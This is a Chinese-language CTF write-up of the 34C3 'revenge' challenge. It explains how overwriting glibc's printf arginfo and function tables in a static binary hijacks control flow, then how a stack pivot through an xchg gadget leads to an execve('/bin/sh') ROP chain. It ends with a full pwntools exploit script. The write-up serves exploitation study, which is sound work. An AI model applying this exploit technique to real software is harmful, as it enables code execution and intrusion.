从printf到getshell
2018.12.05
V1NKe
 热度
℃
前言: 哎。。本菜鸡看见了这个原题还惊喜了一下,可惜搜到的writeup都是些不是预期思路解,好,既然搜不到它,那我就要分析它。一分析,这getshell
的思路也太特么的骚了吧。。现在一起来看看它是怎么个骚法。
正文: 1 2 3 4 5 6 int __cdecl main(int argc, const char **argv, const char **envp) { _isoc99_scanf((unsigned __int64)&unk_48D184); printf((unsigned __int64)"Hi, %s. Bye.\n"); return 0; }
程序就这么的简单,一个输入加一个输出就结束了,而且是静态链接的程序,都不要libc了,libc已经静态编译到程序里了。
输入点在bss
段上的name字段:
1 .bss:00000000006B73E0 name db ? ;
输出也在这里。因为这题目是34C3的原题,所以先从原题入手来看这道题目。来看看字符串:
1 2 ➜ revenge strings ./revenge | grep 34C3 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
乖乖,flag
就在程序的内存里,通常遇到flag就在内存里的题目,自然而然会想到用__stack_chk_fail
方法来做,还需要控制PC去执行道我们所要的这个函数,程序经过我们输入后,只运行了一个printf
函数,所以要控制PC答案应该就在printf
里面,我们查一下printf
的源码,发现它调用了vfprintf
后:
1 2 3 4 5 /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional;
我们看看这里所需要用到的指针所在内存的位置:
1 2 3 .bss:00000000006B7A28 __printf_function_table dq ? __libc_freeres_ptrs:00000000006B7AB0 __printf_va_arg_table dq ? .bss:00000000006B7A30 __printf_modifier_table dq ?
都在&name
的高地址位,可以覆盖到,我们执行过后可以跳到do_positional
处,往后看,可以发现一个最关键的函数代码:
1 2 3 4 5 6 7 8 9 10 if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) {
这里可以看到一个关键位:
1 (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
只要前面三个条件都为False,我们就可以执行到__printf_arginfo_table[spec->info.spec]
函数,而spec
是一个结构体,而info.spec
则是printf
函数的格式化字符串,在本程序中就是%s
,所以spec->info.spec
就是s
即0x73
。成为了__printf_arginfo_table
的下标。我们在IDA中也可以充分感受到这一点:
接下来就好利用了,只要构造字符串覆盖覆盖就好了,覆盖__printf_arginfo_table[0x73]
为所想要的__stack_chk_fail
函数就好了,但是这题是经过改编的,所以这个方法在这里是行不通的。下面再来看看直接getshell的骚思路。
getshell正规骚思路解: 记住前面我们所提到过的一点,只要覆盖了__printf_arginfo_table
我们就可以控制程序执行流程。程序既然是静态链接,又没有system
函数,那么我们就自己构造,用系统调用execve
来getshell
。先找ROP:
1 2 3 4 5 0x0000000000400525 : pop rdi ; ret 0x00000000004059d6 : pop rsi ; ret 0x0000000000435435 : pop rdx ; ret 0x000000000043364c : pop rax ; ret .text:000000000045FA15 syscall
64位中系统调用号是59。ROP找好了,我们怎么去执行,让rsp指向我们构造的地址呢?接下来就是我们所需要做的事情。
我们首先将流程控制执行到0x46D935
处:
1 2 3 4 5 6 .text:000000000046D935 mov rax, cs:_dl_scope_free_list .text:000000000046D93C test rax, rax .text:000000000046D93F jz loc_46D383 .text:000000000046D945 cmp qword ptr [rax], 0 .text:000000000046D949 jz loc_46D383 .text:000000000046D94F jmp loc_46D8B1
_dl_scope_free_list
在bss段上,我们可以覆盖到:
1 .bss:00000000006B7910 _dl_scope_free_list dq ?
所以这里我们可以控制rax
的值,只要不为0且[rax]也不为0就可以执行到jmp
处,继续往后:
1 .text:000000000046D8B1 call cs:_dl_wait_lookup_done
直接call
函数了。更巧的是_dl_wait_lookup_done
的值我们也可以控制:
1 .bss:00000000006B78C0 _dl_wait_lookup_done dq ?
骚不骚?别急,更骚的还在后面。因为前面我们可以控制了rax
,而我们又想把rsp
指向我们构造地址,这里把_dl_wait_lookup_done
指向一个数据段去,指到0x4a1a79
:
1 2 .rodata:00000000004A1A79 db 94h .rodata:00000000004A1A7A db 0C3h
这里转化成机器码则是:
1 2 .rodata:00000000004A1A79 xchg eax, esp .rodata:00000000004A1A7A retn
刚好可以把esp
的值和eax
的值互换,前面我们可以控制了rax
的值,那么我们不就可以把rsp
的值指向我们构造的地方了?骚吧。。还能找到这么刁钻的一个地方。。我真佩服。接下来就可以指到我们的ROP去了,完成getshell
。写exp时候最需要注意的一点就是__printf_modifier_table
处必须为0,调试可知不为0程序会崩溃。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * p = process('./revenge') name_addr = 0x00000000006B73E0 pop_rdi = 0x0000000000400525 pop_rsi = 0x00000000004059d6 pop_rdx = 0x0000000000435435 pop_rax = 0x000000000043364c syscall_addr = 0x000000000045fa15 head_rop = 0x000000000046D935 xchg_rsp = 0x00000000004A1A79 wait_lookup_done = 0x00000000006B78C0 scope_free_list = 0x00000000006B7910 function_table = 0x00000000006b7a28 arginfo_table = 0x00000000006B7AA8 #ROP payload = p64(head_rop) payload += p64(pop_rdi) + p64(name_addr + 8*10) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(pop_rax) + p64(59) payload += p64(syscall_addr) payload += '/bin/sh\x00' #create payload payload = payload.ljust(wait_lookup_done - name_addr,'\x90') payload += p64(xchg_rsp) payload = payload.ljust(scope_free_list - name_addr,'\x90') payload += p64(name_addr + 8) payload = payload.ljust(function_table - name_addr,'\x90') payload += p64(0x90) #follow is the modifier_table -- > 0 payload += p64(0) payload = payload.ljust(arginfo_table - name_addr,'\x90') payload += p64(name_addr - 0x73*8) #gdb.attach(p) p.sendline(payload) p.interactive()